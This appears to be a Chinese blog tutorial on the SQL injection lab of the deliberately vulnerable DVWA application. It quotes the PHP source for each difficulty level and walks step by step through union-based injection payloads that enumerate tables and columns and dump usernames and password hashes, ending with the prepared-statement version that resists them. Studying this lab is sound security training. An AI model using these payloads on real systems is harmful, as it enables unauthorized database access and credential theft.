sql注入是典型、常见的Web漏洞之一,现在在网络中也可能存在,不过大多数为SQL盲注

攻击者通过恶意的SQL语句来破坏SQL查询语句,达到数据库泄露的目的

LOW

审计源码

<?php
// 判断是否提交
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// 获取传入的 id
$id = $_REQUEST[ 'id' ];
// switch case 语句,类似于if elif else语句
// 判断数据库类型
switch ($_DVWA['SQLI_DB']) {
// mysql数据库
case MYSQL:
// 定义sql语句,在 $id 左右加入了 '' ,代表这是一个字符串类型的注入
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
// 进行数据库查询
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 从结果集中取得一行作为关联数组
while( $row = mysqli_fetch_assoc( $result ) ) {
// 获取 first_name 和 last_name 字段内容
$first = $row["first_name"];
$last = $row["last_name"]; // 打印用户信息
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
} mysqli_close($GLOBALS["___mysqli_ston"]);
break;
// sqlite数据库
case SQLITE:
global $sqlite_db_connection; #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true); $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
} if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
} ?>

通过观察,只是判断了服务器的数据库,没有对我们传入的ID进行一些过滤,可以直接进行SQL注入

union 联合查询注入

判断注入类型

使用1或者1a来进行判断,如果是数字类型,1a就会报错

http://172.19.31.9/dvwa/vulnerabilities/sqli/?id=1a&Submit=Submit#



1a正常执行,可以看出是字符型的,需要我们输入'进行闭合

构造闭合id=1'#



正常回显

order by 判断字段数

1' order by 1#



正常执行

在输入1' order by 3#时,进行了报错



那么就是有两个字段数

union select 1,2查看回显字段

1' union select 1,2 #



这里成功回显了我们select 1,2的值,也显示了上一个注释的语句的输出,可以输入

-1' union select 1,2 #,-1让前面的语句报错,只显示了后面的查询内容

database()获取当前数据库

-1' union select user(),version()#



回显了当前数据库的用户、数据库版本号

再次使用database()、@@datadir,获取数据库目录和当前数据库名

-1' union select @@datadir,database()#



得到当前数据库名为dvwa

获取dvwa数据库中的表

-1' union select table_name,2 from information_schema.tables where table_schema=database()#



发现报错,这里是字段列的编码格式不一样,只需要把table_namehex()函数包裹起来,因为mysql是认识十六进制的

-1' union select hex(table_name),2 from information_schema.tables where table_schema=database()#



First name列中,显示了两次的数据,代表有两个数据库,将其中的十六进制解码得到

使用HackBar解码后得到6775657374626F6F6B的值为guestbook,另一个是users



有时候其他的靶场只能回显一段数据,不像现在一样回显两段数据,可以使用group_concat,将每行的数据使用,隔开进行显示

-1' union select group_concat(hex(table_name)),2 from information_schema.tables where table_schema=database()#



这样就显示了一段数据

获取users表中的字段名

-1' union select column_name,2 from information_schema.columns where table_schema=database() and table_name=0x7573657273#

查询数据库中字段的名称,where用筛选到dvwa数据库中的users表,database()执行转换为dvwa,mysql可以读取十六进制,0x7573657273users

查询报错



跟上次一样,继续使用hex()进行转换,这里我也加上了group_concat函数

-1' union select group_concat(hex(column_name)),2 from information_schema.columns where table_schema=database() and table_name=0x7573657273#



可以看到这里显示了很多字段名,一个一个爆破的到重要的字段名usernamepassword

查询 username,password字段的内容

-1' union select user,password from users#



成功获取数据库的密码,当然这里也可以使用hex()函数和group_concat()函数

这样就通过了

Medium

审计源码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// 获取传入的 id
$id = $_POST[ 'id' ];
// mysqli_real_escape_string对 \n ' " 等字符进行的转义
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
// 判断数据库类型
switch ($_DVWA['SQLI_DB']) {
// mysql数据库
case MYSQL:
// id 没有价格引号,是一个数字型的sql注入
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // 获取查询中 first_name 和 last_name 字段的内容
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
} if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
} // This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]);

id变为了POST传参的方式,使用了mysqli_real_escape_string()函数对id进行了转义,并且做了一个选择,想通过这个来限制用户的输入



使用HackBar传参id=1a报错



可以判断这是一个数字行的注入

数字型的sql注入不用进行闭合

order by查看字段数量



和上一关一样,order by 3 报错,所有有 2 个字段

后续操作和LOW级别一致,只是不用使用'或者"进行闭合还有使用#注释

High

审计源码

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ]; switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
} if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"]; // Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
} ?>

这里的代码和LOW可以说是没有太大的区别了,只不过是通过session获取的ID值

一样的绕过方法1'#

Impossible

审计源码


<?php if( isset( $_GET[ 'Submit' ] ) ) {
// 获取user_token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 获取 id 值
$id = $_GET[ 'id' ]; // 判断 id 传入的是否为数字
if(is_numeric( $id )) {
// 将 id 转换为字符串
$id = intval ($id);
// 判断数据库类型
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// 引入了PDO抽象成技术
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch(); // 获取 first_name 和 last_name 字段
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ]; // 打印字段内容
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
// SQLITE数据库
case SQLITE:
global $sqlite_db_connection;
// 一样的方法
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time. $num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray(); // 获取 first_name 和 last_name 字段的内容
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ]; // 打印字段内容
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} break;
}
}
} // 生成user_token
generateSessionToken(); ?>

这里首先会判断传入的ID是否为数字,然后又将ID转换为了字符串类型,使用PDO方法连接数据库,然我们没机可乘

DVWA-SQL Injection(SQL注入)的更多相关文章

  1. Fortify Audit Workbench 笔记 SQL Injection SQL注入

    SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...

  2. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  3. DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...

  4. DVWA系列2:SQL Injection

    DVWA系列2:SQL Injection 前言 SQL 注入是比较常见的攻击类型,之前一直听说过,也尝试看过一些教程,但其中的单引号,字符串拼接等感觉有点抽象,不知道为什么要这么做.这次就使用 DV ...

  5. 新手指南:DVWA-1.9全级别教程之SQL Injection

    *本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...

  6. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  7. 使用sqlmap注入DVWA的SQL Injection菜单

    1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...

  8. 【DVWA】SQL Injection(SQL 注入)通关教程

    日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...

  9. DVWA(三):SQL injection 全等级SQL注入

    (本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

  10. DVWA SQL Injection 通关教程

    SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...

随机推荐

  1. DNS服务器(简)

    服务端:192.168.182.187 客户端:192.168.182.16 windows客户端:192.168.182.17 1.安装相关服务 yum -y install bind bind-c ...

  2. Linux-centos7 下开放某个端口

    方式一 1.开启防火墙 systemctl start firewalld  2.开放指定端口 firewall-cmd --zone=public --add-port=1935/tcp --per ...

  3. mongodb删除指定字段

    db.getCollection('geoServer').update({},{$unset:{longitude:null,latitude:null}},{ multi: true}) 实测有效 ...

  4. flutter json_serializable数据模型的建立和封装

    为了方便数据使用,我们将服务器拿到的数据转换为map类型,但是在使用是大量的数据会让使用map时头大,比如每个map都key都需要手动输入,很是麻烦. 本文使用了json_serializable将m ...

  5. IDEA配置新学

    文件太大导致IDEA不把该文件当成Java类看待 解决方式: 打开本地IDEA的bin目录,找到idea.properties文件,进入进行设置: idea.max.intellisense.file ...

  6. textarea兼容问题

    一.IOS 中不允许输入 <textarea contenteditable="true"></textarea> textarea { -webkit-u ...

  7. Hive. 函数 instr 的用法

    INSTR(C1,C2,I,J) 在一个字符串中搜索指定的字符,返回发现指定的字符的位置; C1 被搜索的字符串 C2 希望搜索的字符串 I 搜索的开始位置,默认为1 J 出现的位置,默认为1 sel ...

  8. python+pytest接口自动化

    本篇文章是用python+pytest写了一个简单的接口自动化脚本,外加循环请求接口的语法,大家可以参考~ 实例一: import requestsimport pytestimport time c ...

  9. idea设置svn忽略文件

    第一步: 第二步: 第三步:

  10. IDEA移除Maven依赖的方法

    参考地址:https://blog.csdn.net/weixin_45654405/article/details/124415010 方法一: 如果不行,则进行下一步: 尝试在project St ...